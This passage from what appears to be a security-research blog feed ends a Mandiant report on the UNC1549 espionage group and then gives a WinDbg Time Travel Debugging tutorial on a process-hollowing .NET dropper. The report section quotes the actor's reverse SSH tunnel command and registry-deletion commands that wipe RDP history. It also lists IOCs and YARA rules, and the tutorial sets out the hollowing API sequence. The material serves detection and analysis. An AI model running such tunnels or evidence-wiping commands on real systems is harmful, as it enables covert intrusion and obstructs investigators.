    UNC1549 continued to use Microsoft Azure Web Apps registrations and cloud infrastructure for C2. In addition to backdoors including MINIBUS, MINIBIKE, and TWOSTROKE, UNC1549 relied heavily on SSH reverse tunnels established on compromised systems to forward traffic from their C2 servers to compromised systems. This technique limited the availability of host-based artifacts during investigations, since security telemetry would only record network connections. For example, during data collection from SMB shares, outbound connections were observed from the SSH processes to port 445 on remote systems, but the actual data collected could not be confirmed due to no staging taking place within the victim environment, and object auditing being disabled.

    C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070

    Figure 9: Example of an UNC1549 reverse SSH command

    Mandiant also identified evidence of UNC1549 deploying a variety of redundant remote access methods, including ZEROTIER and NGROK. In some instances, these alternative methods weren't used by the threat actor until victim organizations had performed remediation actions, suggesting they are primarily deployed to retain access.

    Complete Mission

    Espionage

    UNC1549's operations appear strongly motivated by espionage, with mission objectives centering around extensive data collection from targeted networks. The group actively seeks sensitive information, including network/IT documentation, intellectual property, and emails. Furthermore, UNC1549 often leverages compromised organizations as a pivot point, using their access to target other entities, particularly those within the same industry sector, effectively conducting third-party supplier and partner intrusions to further their intelligence-gathering goals.

    Notably, Mandiant responded to one intrusion at an organization in an unrelated sector, and assessed that the intrusion was opportunistic due to the initial spear phishing lure being related to a job at an aerospace and defense organization. This demonstrated UNC1549’s ability to commit resources to expanding access and persistence in victim organizations that don’t immediately meet traditional espionage goals.

    Defense Evasion

    UNC1549 frequently deleted utilities from compromised systems after execution to avoid detection and hinder investigation efforts. The deletion of forensic artifacts, including RDP connection history registry keys, was also observed. Additionally, as described earlier, the group repeatedly used SSH reverse tunnels from victim hosts back to their infrastructure, a technique which helped hide their activity from EDR agents installed on those systems. Combined, this activity demonstrated an increase in the operational security of UNC1549 over the past year.

    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

    Figure 10: Examples of UNC1549 commands to delete RDP connection history registry keys

    Acknowledgement

    This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Greg Sinclair and Mustafa Nasser from FLARE, and Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, and Emeka Agu from Mandiant Consulting.

    MITRE ATT&CK

    TACTIC

    ID

    Name

    Description

    Collection

    T1213.002

    Data from Information Repositories: SharePoint

    UNC1549 browsed Microsoft Teams and SharePoint to download files used for extortion.

    Collection

    T1113

    Screen Capture

    UNC1549 was observed making screenshots from sensitive data.

    Reconnaissance

    T16561598.003

    Phishing for Information

    UNC1549 used third party vendor accounts to obtain privileged accounts using a Password Reset portal theme.

    Credential Access

    T1110.003

    Brute Force: Password Spraying

    UNC1549 was observed performing password spray attacks against the Domain.

    Credential Access

    T1003.006

    OS Credential Dumping: DCSync

    UNC1549 was observed using DCSYNCER.SLICK to perform DCSync on domain controller level.

    Defense Evasion

    T1574.001

    Hijack Execution Flow: DLL Search Order Hijacking

    UNC1549 was observed using Search Order Hijacking to execute both LIGHTRAIL and DCSYNCER.SLICK.

    Initial Access

    T1078

    Valid Accounts

    UNC1549 used valid compromised accounts to gain initial access

    Initial Access

    T1199

    Trusted Relationship

    UNC1549 used trusted third party vendor accounts for both initial access and lateral movement.

    Indicators of Compromise (IOCs)

    The following IOCs are available in a GTI Collection for registered users.

    Type

    Indicator

    Description

    network

    104.194.215[.]88

    Observed being used for SSH tunneling

    network

    13.60.50[.]172

    Observed being used for SSH tunneling

    network

    167.172.137[.]208

    Observed being used for SSH tunneling

    network

    34.18.42[.]26

    Observed being used for SSH tunneling

    network

    4.188.75[.]206

    Observed being used for SSH tunneling

    network

    4.240.113[.]27

    Observed being used for SSH tunneling

    network

    40.119.176[.]233

    Observed being used for SSH tunneling

    network

    politicalanorak[.]com

    Observed being used for SSH tunneling

    network

    ac-connection-status105.azurewebsites[.]net

    GHOSTLINE

    network

    acc-cloud-connection.azurewebsites[.]net

    GHOSTLINE

    network

    active-az-check-status45.azurewebsites[.]net

    POLLBLEND

    network

    active-az-check-status675.azurewebsites[.]net

    POLLBLEND

    network

    active-az-status45.azurewebsites[.]net

    POLLBLEND

    network

    active-az-status795.azurewebsites[.]net

    POLLBLEND

    network

    active-internal-log65.azurewebsites[.]net

    POLLBLEND

    network

    active-internal-logs.azurewebsites[.]net

    POLLBLEND

    network

    active-intranet-logs.azurewebsites[.]net

    POLLBLEND

    network

    airbus.usa-careers[.]com

    Phishing domain for initial access

    network

    airlinecontrolsite.uaenorth.cloudapp.azure[.]com

    DEEPROOT

    network

    airlinecontrolsite.westus3.cloudapp.azure[.]com

    DEEPROOT

    network

    airplaneserviceticketings[.]com

    MINIBIKE

    network

    airseatregister.eastus.cloudapp.azure[.]com

    DEEPROOT

    network

    airseatsregister.qatarcentral.cloudapp.azure[.]com

    DEEPROOT

    network

    airseatsregistering.qatarcentral.cloudapp.azure[.]com

    DEEPROOT

    network

    airtravellog[.]com

    TWOSTROKE

    network

    automationagencybusiness.azurewebsites[.]net

    TWOSTROKE

    network

    automationagencybusiness[.]com

    TWOSTROKE

    network

    browsercheckap.azurewebsites[.]net

    MINIBIKE

    network

    codesparkle.eastus.cloudapp.azure[.]com

    TWOSTROKE

    network

    connect-acc-492.azurewebsites[.]net

    POLLBLEND

    network

    connect-acl-492.azurewebsites[.]net

    POLLBLEND

    network

    customerlistchange.eastus.cloudapp.azure[.]com

    LIGHTRAIL

    network

    developercodepro.azurewebsites[.]net

    TWOSTROKE

    network

    developercodevista.azurewebsites[.]net

    TWOSTROKE

    network

    dreamtiniventures.azurewebsites[.]net

    TWOSTROKE

    network

    fdtsprobusinesssolutions.azurewebsites[.]net

    TWOSTROKE

    network

    fdtsprobusinesssolutions[.]com

    TWOSTROKE

    network

    fdtsprobusinesssolutions.eastus.cloudapp.azure[.]com

    TWOSTROKE

    network

    fdtsprobusinesssolutions.northeurope.cloudapp.azure[.]com

    TWOSTROKE

    network

    forcecodestore[.]com

    TWOSTROKE

    network

    hserbhh43.westus3.cloudapp.azure[.]com

    Observed being used for SSH tunneling

    network

    infrasync-ac372.azurewebsites[.]net

    POLLBLEND

    network

    intra-az-check-status45.azurewebsites[.]net

    POLLBLEND

    network

    intra-az-check-status675.azurewebsites[.]net

    POLLBLEND

    network

    intra-az-status45.azurewebsites[.]net

    POLLBLEND

    network

    intra-az-status795.azurewebsites[.]net

    POLLBLEND

    network

    masterflexiblecloud.azurewebsites[.]net

    TWOSTROKE

    network

    mso-internal-log65.azurewebsites[.]net

    POLLBLEND

    network

    mso-internal-logs.azurewebsites[.]net

    POLLBLEND

    network

    mso-intranet-logs.azurewebsites[.]net

    POLLBLEND

    network

    mydocs.qatarcentral.cloudapp.azure[.]com

    Phishing domain for lateral movement

    network

    nx425-win4945.azurewebsites[.]net

    POLLBLEND

    network

    nx4542-win4957.azurewebsites[.]net

    POLLBLEND

    network

    nxlog-crash-1567.azurewebsites[.]net

    POLLBLEND

    network

    nxlog-win-1567.azurewebsites[.]net

    POLLBLEND

    network

    nxversion-win-1567.azurewebsites[.]net

    POLLBLEND

    network

    nxversion-win32-1127.azurewebsites[.]net

    POLLBLEND

    network

    overqatfa.northeurope.cloudapp.azure[.]com

    Observed being used for SSH tunneling

    network

    queuetestapplication.azurewebsites[.]net

    MINIBIKE

    network

    skychain13424.azurewebsites[.]net

    MINIBIKE

    network

    skychain41334.northeurope.cloudapp.azure[.]com

    MINIBIKE

    network

    skychains42745.eastus.cloudapp.azure[.]com

    MINIBIKE

    network

    skyticketgrant.azurewebsites[.]net

    MINIBIKE

    network

    snare-core.azurewebsites[.]net

    POLLBLEND

    network

    storageboxcloud.northeurope.cloudapp.azure[.]com

    TWOSTROKE

    network

    storagewiz.co.azurewebsites[.]net

    TWOSTROKE

    network

    swiftcode.eastus.cloudapp.azure[.]com

    TWOSTROKE

    network

    swifttiniventures.azurewebsites[.]net

    TWOSTROKE

    network

    terratechworld.eastus.cloudapp.azure[.]com

    TWOSTROKE

    network

    thecloudappbox.azurewebsites[.]net

    TWOSTROKE

    network

    thestorageboxcloud.northeurope.cloudapp.azure[.]com

    TWOSTROKE

    network

    thetacticstore[.]com

    TWOSTROKE

    network

    thevaultapp.westus3.cloudapp.azure[.]com

    TWOSTROKE

    network

    thevaultspace.eastus.cloudapp.azure[.]com

    TWOSTROKE

    network

    tini-ventures[.]com

    TWOSTROKE

    network

    vcphone-ms.azurewebsites[.]net

    POLLBLEND

    network

    vcs-news[.]com

    Observed being used for SSH tunneling

    network

    vm-ticket-svc.azurewebsites[.]net

    POLLBLEND

    network

    vm-tools-svc.azurewebsites[.]net

    POLLBLEND

    network

    vmware-health-ms.azurewebsites[.]net

    POLLBLEND

    YARA Rules

    import "pe"
    
    rule M_APT_Utility_DCSYNCER_SLICK_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "10f16991665df69d1ccd5187e027cf3d"
    	strings:
    		$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
    		$ = "\\LOG.txt" ascii wide
    		$ = "%ws_%d:%d:" ascii wide fullword
    		$ = "%ws:%d:" ascii wide fullword
    		$ = "::::" ascii wide fullword
    		$ = "%ws_%d:%d::" ascii wide fullword
    		$ = "%ws:%d::" ascii wide fullword
    	condition:
    		pe.is_pe and all of them
    }
    import "pe"
    
    rule M_APT_Utility_CRASHPAD_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    		md5 = "b2bd275f97cb95c7399065b57f90bb6c"
    	strings:
    		$ = "[-] Loo ror: %u" ascii fullword
    		$ = "[-] Adj r: %u" ascii fullword
    		$ = "[-] Th ge. " ascii fullword
    		$ = "[+] O s!" ascii fullword
    		$ = "[-] O C: %i" ascii fullword
    		$ = "[-] O E: %i" ascii fullword
    		$ = "[+] Op cess!" ascii fullword
    		$ = "[-] Op Code: %i" ascii fullword
    		$ = "[-] O Error: %i" ascii fullword
    		$ = "[+] Im su!" ascii fullword
    		$ = "[+] R" ascii fullword
    		$ = "[-] Impe Code: %i" ascii fullword
    		$ = "[-] Imo: %i" ascii fullword
    		$ = "[+] Du success!" ascii fullword
    		$ = "[-] Du Code: %i" ascii fullword
    		$ = "[-] Du Error: %i" ascii fullword
    		$ = "[+] Dec Suc." ascii fullword
    		$ = "%02X" ascii fullword
    		$ = "Decryption failed" ascii fullword
    		$ = "config.txt"
    		$ = "crash.log"
    		$ = "[+] e wt!" ascii fullword
    		$ = "[+] p %d!" ascii fullword
    		$ = "[+] e!" ascii fullword
    	condition:
    		pe.is_pe and 15 of them
    }

    Google Security Operations Detections

    Google SecOps customers receive robust detection for UNC1549 TTPs through curated threat intelligence from Mandiant and Google Threat Intelligence. This frontline intelligence is operationalized within the platform as custom detection signatures and advanced YARA-L rules.

    Time Travel Triage: An Introduction to Time Travel Debugging using a .NET Process Hollowing Case Study

    13 November 2025 at 15:00

    Written by: Josh Stroschein, Jae Young Kim


    The prevalence of obfuscation and multi-stage layering in today’s malware often forces analysts into tedious and manual debugging sessions. For instance, the primary challenge of analyzing pervasive commodity stealers like AgentTesla isn’t identifying the malware, but quickly cutting through the obfuscated delivery chain to get to the final payload.

    Unlike traditional live debugging, Time Travel Debugging (TTD) captures a deterministic, shareable record of a program's execution. Leveraging TTD's powerful data model and time travel capabilities allow us to efficiently pivot to the key execution events that lead to the final payload.

    This post introduces all of the basics of WinDbg and TTD necessary to start incorporating TTD into your analysis. We demonstrate why it deserves to be a part of your toolkit by walking through an obfuscated multi-stage .NET dropper that performs process hollowing.

    What is Time Travel Debugging?

    Time Travel Debugging (TTD), a technology offered by Microsoft as part of WinDbg, records a process’s execution into a trace file that can be replayed forwards and backwards. The ability to quickly rewind and replay execution reduces analysis time by eliminating the need to constantly restart debugging sessions or restore virtual machine snapshots. TTD also enables users to query the recorded execution data and filter it with Language Integrated Query (LINQ) to find specific events of interest like module loads or calls to APIs that implement malware functionalities like shellcode execution or process injection.

    During recording, TTD acts as a transparent layer that allows full interaction with the operating system. A trace file preserves a complete execution record that can be shared with colleagues to facilitate collaboration, circumventing environmental differences that can affect the results of live debugging.

    While TTD offers significant advantages, users should be aware of certain limitations. Currently, TTD is restricted to user-mode processes and cannot be used for kernel-mode debugging. The trace files generated by TTD have a proprietary format, meaning their analysis is largely tied to WinDbg. Finally, TTD does not offer "true" time travel in the sense of altering the program's past execution flow; if you wish to change a condition or variable and see a different outcome, you must capture an entirely new trace as the existing trace is a fixed recording of what occurred.

    A Multi-Stage .NET Dropper with Signs of Process Hollowing

    The Microsoft .NET framework has long been popular among threat actors for developing highly obfuscated malware. These programs often use code flattening, encryption, and multi-stage assemblies to complicate the analysis process. This complexity is amplified by Platform Invoke (P/Invoke), which gives managed .NET code direct access to the unmanaged Windows API, allowing authors to port tried-and-true evasion techniques like process hollowing into their code.

    Process hollowing is a pervasive and effective form of code injection where malicious code runs under the guise of another process. It is common at the end of downloader chains because the technique allows injected code to assume the legitimacy of a benign process, making it difficult to spot the malware with basic monitoring tools.

    In this case study, we'll use TTD to analyze a .NET dropper that executes its final stage via process hollowing. The case study demonstrates how TTD facilitates highly efficient analysis by quickly surfacing the relevant Windows API functions, enabling us to bypass the numerous layers of .NET obfuscation and pinpoint the payload.

    Basic analysis is a vital first step that can often identify potential process hollowing activity. For instance, using a sandbox may reveal suspicious process launches. Malware authors frequently target legitimate .NET binaries for hollowing as these blend seamlessly with normal system operations. In this case, reviewing process activity on VirusTotal shows that the sample launches InstallUtil.exe (found in %windir%\Microsoft.NET\Framework\<version>\). While InstallUtil.exe is a legitimate utility, its execution as a child process of a suspected malicious sample is an indicator that helps focus our initial investigation on potential process injection.

    Process activity recorded in the VirusTotal sandbox

    Figure 1: Process activity recorded in the VirusTotal sandbox

    Despite newer, more stealthy techniques, such as Process Doppelgänging, when an attacker employs process injection, it’s still often the classic version of process hollowing due to its reliability, relative simplicity, and the fact that it still effectively evades less sophisticated security solutions. The classic process hollowing steps are as follows:

    1. CreateProcess (with the CREATE_SUSPENDED flag): Launches the victim process (InstallUtil.exe) but suspends its primary thread before execution.

    2. ZwUnmapViewOfSection or NtUnmapViewOfSection: "Hollows out" the process by removing the original, legitimate code from memory.

    3. VirtualAllocEx and WriteProcessMemory: Allocates new memory in the remote process and injects the malicious payload.

    4. GetThreadContext: Retrieves the context (the state and register values) of the suspended primary thread.

    5. SetThreadContext: Redirects the execution flow by modifying the entry point register within the retrieved context to point to the address of the newly injected malicious code.

    6. ResumeThread: Resumes the thread, causing the malicious code to execute as if it were the legitimate process.

    To confirm this activity in our sample using TTD, we focus our search on the process creation and the subsequent writes to the child process’s address space. The approach demonstrated in this search can be adapted to triage other techniques by adjusting the TTD queries to search for the APIs relevant to that technique.

    Recording a Time Travel Trace of the Malware

    To begin using TTD, you must first record a trace of a program's execution. There are two primary ways to record a trace: using the WinDbg UI or the command-line utilities provided by Microsoft. The command-line utilities offer the quickest and most customizable way to record a trace, and that is what we'll explore in this post.

    Warning: Take all usual precautions for performing dynamic analysis of malware when recording a TTD trace of malware executables. TTD recording is not a sandbox technology and allows the malware to interface with the host and the environment without obstruction.

    TTD.exe is the preferred command-line tool for recording traces. While Windows includes a built-in utility (tttracer.exe), that version has reduced features and is primarily intended for system diagnostics, not general use or automation. Not all WinDbg installations provide the TTD.exe utility or add it to the system path. The quickest way to get TTD.exe is to use the stand-alone installer provided by Microsoft. This installer automatically adds TTD.exe to the system's PATH environment variable, ensuring it's available from a command prompt. To see its usage information, run TTD.exe -help.

    The quickest way to record a trace is to simply provide the command line invoking the target executable with the appropriate arguments. We use the following command to record a trace of our sample:

    C:\Users\FLARE\Desktop\> ttd.exe 0b631f91f02ca9cffd66e7c64ee11a4b.bin
    Microsoft (R) TTD 1.01.11 x64
    Release: 1.11.532.0
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Launching '0b631f91f02ca9cffd66e7c64ee11a4b.bin'
        Initializing the recording of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run
        Recording has started of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run

    Once TTD begins recording, the trace concludes in one of two ways. First, the tracing automatically stops upon the malware's termination (e.g., process exit, unhandled exception, etc.). Second, the user can manually intervene. While recording, TTD.exe displays a small dialog (shown in figure 2) with two control options:

    • Tracing Off: Stops the trace and detaches from the process, allowing the program to continue execution.

    • Exit App: Stops the trace and also terminates the process.

    TTD trace execution control dialog

    Figure 2: TTD trace execution control dialog

    Recording a TTD trace produces the following files:

    • <trace>.run: The trace file is a proprietary format that contains compressed execution data. The size of a trace file is influenced by the size of the program, the length of execution, and other external factors such as the number of additional resources that are loaded.

    • <trace>.idx: The index file allows the debugger to quickly locate specific points in time during the trace, bypassing sequential scans of the entire trace. The index file is created automatically the first time a trace file is opened in WinDbg. In general, Microsoft suggests that index files are typically twice the size of the trace file.

    • <trace>.out: The trace log file containing logs produced during trace recording.

    Once a trace is complete, the .run file can be opened with WinDbg.

    Triaging the TTD Trace: Shifting Focus to Data

    The fundamental advantage of TTD is the ability to shift focus from manual code stepping to execution data analysis. Performing rapid, effective triage with this data-driven approach requires proficiency in both basic TTD navigation and querying the Debugger Data Model. Let's begin by exploring the basics of navigation and the Debugger Data Model.

    Navigating a Trace

    Basic navigation commands are available under the Home tab in the WinDbg UI.

    Basic WinDbg TTD Navigation Commands

    Figure 3: Basic WinDbg TTD Navigation Commands

    The standard WinDbg commands and shortcuts for controlling execution are:

    Replaying a TTD trace enables the reverse flow control commands that complement the regular flow control commands. Each reverse flow control complement is formed by appending a dash (-) to the regular flow control command:

    • g-: Go Back – Execute the trace backwards

    • g-u: Step Out Back - Execute the trace backwards up to the last call instruction

    • t-: Step Into Back – Single step into backwards

    • p-: Step Over Back – Single step over backwards

    Time Travel (!tt) Command

    While basic navigation commands let you move step-by-step through a trace, the time travel command (!tt) enables precise navigation to a specific trace position. These positions are often provided in the output of various TTD commands. A position in a TTD trace is represented by two hexadecimal numbers in the format #:# (e.g., E:7D5) where:

    • The first part is a sequencing number typically corresponding to a major execution event, such as a module load or an exception.

    • The second part is a step count, indicating the number of events or instructions executed since that major execution event.

    We'll use the time travel command later in this post to jump directly to the critical events in our process hollowing example, bypassing manual instruction tracing entirely.

    The TTD Debugger Data Model

    The WinDbg debugger data model is an extensible object model that exposes debugger information as a navigable tree of objects. The debugger data model brings a fundamental shift in how users access debugger information in WinDbg, from wrangling raw text-based output to interacting with structured object information. The data model supports LINQ for querying and filtering, allowing users to efficiently sort through large volumes of execution information. The debugger data model also simplifies automation through JavaScript, with APIs that mirror how you access the debugger data model through commands.

    The Display Debugger Object Model Expression (dx) command is the primary way to interact with the debugger data model from the command window in WinDbg. The model lends itself to discoverability – you can begin traversing through it by starting at the root Debugger object:

    0:000> dx Debugger
    Debugger
        Sessions
        Settings
        State
        Utility
        LastEvent

    The command output lists the five objects that are properties of the Debugger object. Note that the names in the output, which look like links, are marked up using the Debugger Markup Language (DML). DML enriches the output with links that execute related commands. Clicking on the Sessions object in the output executes the following dx command to expand on that object:

    0:000> dx -r1 Debugger.Sessions
    Debugger.Sessions                
        [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run

    The -r# argument specifies recursion up to # levels, with a default depth of one if not specified. For example, increasing the recursion to two levels in the previous command produces the following output:

    0:000> dx -r2 Debugger.Sessions
    Debugger.Sessions                
        [0x0]            : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
            Processes       
            Id               : 0
            Diagnostics     
            TTD             
            OS              
            Devices         
            Attributes

    The -g argument displays any iterable object into a data grid in which each element is a grid row and the child properties of each element are grid columns.

    0:000> dx -g Debugger.Sessions
    Grid view of Sessions, with truncated columns

    Figure 4: Grid view of Sessions, with truncated columns

    Debugger and User Variables

    WinDbg provides some predefined debugger variables for convenience which can be listed through the DebuggerVariables property.

    0:000> dx Debugger.State.DebuggerVariables
    Debugger.State.DebuggerVariables                
       cursession       : Time Travel Debugging: 0b631f91f02ca9cffd66e7c64ee11a4b.run
        curprocess       : 0b631f91f02ca9cffd66e7c64ee11a4b.exe [Switch To]
        curthread        [Switch To]
        scripts         
        scriptContents   : [object Object]
        vars            
        curstack        
        curframe         : ntdll!LdrInitializeThunk [Switch To]
        curregisters    
        debuggerRootNamespace

    Frequently used variables include:

    • @$cursession: The current debugger session. Equivalent to Debugger.Sessions[<session>]. Commonly used items include:

      • @$cursession.Processes: List of processes in the session.

      • @$cursession.TTD.Calls: Method to query calls that occurred during the trace.

      • @$cursession.TTD.Memory: Method to query memory operations that occurred during the trace.

    • @$curprocess: The current process. Equivalent to @$cursession.Processes[<pid>]. Frequently used items include:

      • @$curprocess.Modules: List of currently loaded modules.

      • @$curprocess.TTD.Events: List of events that occurred during the trace.

    Investigating the Debugger Data Model to Identify Process Hollowing

    With a basic understanding of TTD concepts and a trace ready for investigation, we can now look for evidence of process hollowing. To begin, the Calls method can be used to search for specific Windows API calls. This search is effective even with a .NET sample because the managed code must interface with the unmanaged Windows API through P/Invoke to perform a technique like process hollowing.

    Process hollowing begins with the creation of a process in a suspended state via a call to CreateProcess with a creation flag value of 0x4. The following query uses the Calls method to return a table of each call to the kernel32 module’s CreateProcess* in the trace; the wildcard (*) ensures the query matches calls to either CreateProcessA or CreateProcessW.

    0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*")
    ttd fig 5

    This query returns a number of fields, not all of which are helpful for our investigation. To address this, we can apply the Select LINQ query to the original query, which allows us to specify which columns to display and rename them.

    0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*").Select(c => new { TimeStart = c.TimeStart, Function = c.Function, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})
    ttd fig 6

    The result shows one call to CreateProcessA starting at position 58243:104D. Note the return address: since this is a .NET binary, the native code executed by the Just-In-Time (JIT) compiler won't be located in the application's main image address space (as it would be in a non-.NET image). Normally, an effective triage step is to filter results with a Where LINQ query, limiting the return address to the primary module to filter out API calls that do not originate from the malware. This Where filter, however, is less reliable when analyzing JIT-compiled code due to the dynamic nature of its execution space.

    The next point of interest is the Parameters field. Clicking on the DML link on the collapsed value {..} displays Parameters via a corresponding dx command.

    0:000> dx -r1 @$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters
    
    @$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters
        [0x0]            : 0x55de700055de74
        [0x1]            : 0x55e0780055e0ac
        [0x2]            : 0x808000400000000
        [0x3]            : 0x55de4000000000

    Function arguments are available under a specific Calls object as an array of values. However, before we investigate the parameters, there are some assumptions made by TTD that are worth exploring. Overall, these assumptions are affected by whether the process is 32-bit or 64-bit. An easy way to check the bitness of the process is by inspecting the DebuggerInformation object.

    0:00> dx Debugger.State.DebuggerInformation
    Debugger.State.DebuggerInformation                
        ProcessorTarget  : X86 <--- Process Bitness
        Bitness          : 32
        EngineFilePath   : C:\Program Files\WindowsApps\<SNIPPED>\x86\dbgeng.dll
        EngineVersion    : 10.0.27871.1001

    The key identifier in the output is ProcessorTarget: this value indicates the architecture of the guest process that was traced, regardless of whether the host operating system running the debugger is 64-bit.

    TTD uses symbol information provided in a program database (PDB) file to determine the number of parameters, their types and the return type of a function. However, this information is only available if the PDB file contains private symbols. While Microsoft provides PDB files for many of its libraries, these are often public symbols and therefore lack the necessary function information to interpret the parameters correctly. This is where TTD makes another assumption that can lead to incorrect results. Primarily, it assumes a maximum of four QWORD parameters and that the return value is also a QWORD. This assumption creates a mismatch in a 32-bit process (x86), where arguments are typically 32-bit (4-byte) values passed on the stack. Although TTD correctly finds the arguments on the stack, it misinterprets two adjacent 32-bit arguments as a single, 64-bit value.

    One way to resolve this is to manually investigate the arguments on the stack. First we use the !tt command to navigate to the beginning of the relevant call to CreateProcessA.

    0:000> !tt 58243:104D
    
    (b48.12a4): Break instruction exception - code 80000003 (first/second chance not available)
    Time Travel Position: 58243:104D
    eax=00bed5c0 ebx=039599a8 ecx=00000000 edx=75d25160 esi=00000000 edi=03331228
    eip=75d25160 esp=0055de14 ebp=0055df30 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    KERNEL32!CreateProcessA:
    75d25160 8bff            mov     edi,edi

    The return address is at the top of the stack at the start of a function call, so the following dd command skips over this value by adding an offset of 4 to the ESP register to properly align the function arguments.

    0:000> dd /c 1 esp+4 L0A
    0055de18  0055de74  <-- Application Name
    0055de1c  0055de70
    0055de20  0055e0ac
    0055de24  0055e078
    0055de28  00000000
    0055de2c  08080004  <-- Creation Flags - 0x4 (CREATE_SUSPENDED)
    0055de30  00000000
    0055de34  0055de40
    0055de38  0055e0c0
    0055de3c  0055e068

    The value of 0x4 (CREATE_SUSPENDED) set in the bitmask for the dwCreationFlags argument (6th argument) indicates that the process will be created in a suspended state.

    The following command dereferences esp+4 via the poi operator to retrieve the application name string pointer then uses the da command to display the ASCII string.

    0:000> da poi(esp+4)
    0055de74  "C:\Windows\Microsoft.NET\Framewo"
    0055de94  "rk\v4.0.30319\InstallUtil.exe"

    The command reveals that the target application is InstallUtil.exe, which aligns with the findings from basic analysis.

    It is also useful to retrieve the handle to the newly created process in order to identify subsequent operations performed on it. The handle value is returned through a pointer (0x55e068 in the earlier referenced output) to a PROCESS_INFORMATION structure passed as the last argument. This structure has the following definition:

    typedef struct _PROCESS_INFORMATION {
      HANDLE hProcess;
      HANDLE hThread;
      DWORD  dwProcessId;
      DWORD  dwThreadId;
    }

    After the call to CreateProcessA, the first member of this structure should be populated with the handle to the process. Step out of the call using the gu (Go Up) command to examine the populated structure.

    0:000> gu
    Time Travel Position: 58296:60D
    
    0:000> dd /c 1 0x55e068 L4
    0055e068  00000104 <-- handle to process
    0055e06c  00000970
    0055e070  00000d2c
    0055e074  00001c30

    In this trace, CreateProcess returned 0x104 as the handle for the suspended process.

    The most interesting operation in process hollowing for the purpose of triage is the allocation of memory and subsequent writes to that memory, commonly performed via calls to WriteProcessMemory. The previous Calls query can be updated to identify calls to WriteProcessMemory.

    0:000> dx -g @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})
    =============================================================
    =          = (+) TimeStart = (+) ReturnAddress = (+) Params =
    =============================================================
    = [0x0]    - 6A02A:4B4     - 0x15032e2         - {...}      =
    = [0x1]    - 6E516:A91     - 0x15032e2         - {...}      =
    = [0x2]    - 729A2:511     - 0x15032e2         - {...}      =
    = [0x3]    - 76E2D:750     - 0x15032e2         - {...}      =
    = [0x4]    - 7B2DF:C1C     - 0x15032e2         - {...}      =
    =============================================================
    

    The query returns four results. The following queries expand the arguments for each call to WriteProcessMemory.

    0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params
    @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params                
        [0x0]            : 0x104        <-- Target process handle
        [0x1]            : 0x400000     <-- Target Address
        [0x2]            : 0x9810af0    <-- Source buffer
        [0x3]            : 0x200        <-- Write size
    
    0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params
    @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params                
        [0x0]            : 0x104
        [0x1]            : 0x402000
        [0x2]            : 0x984cb10
        [0x3]            : 0x3b600
    
    0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params
    @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params                
        [0x0]            : 0x104
        [0x1]            : 0x43e000
        [0x2]            : 0x387d9d0
        [0x3]            : 0x600
    
    0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params
    @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params                
        [0x0]            : 0x104
        [0x1]            : 0x440000
        [0x2]            : 0x3927a78
        [0x3]            : 0x200

    WriteProcessMemory has the following function signature:

    BOOL WriteProcessMemory(
      [in]  HANDLE  hProcess,
      [in]  LPVOID  lpBaseAddress,
